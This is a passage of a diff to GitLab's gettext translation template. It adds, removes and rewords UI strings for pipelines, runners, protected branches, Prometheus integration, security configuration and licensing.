msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
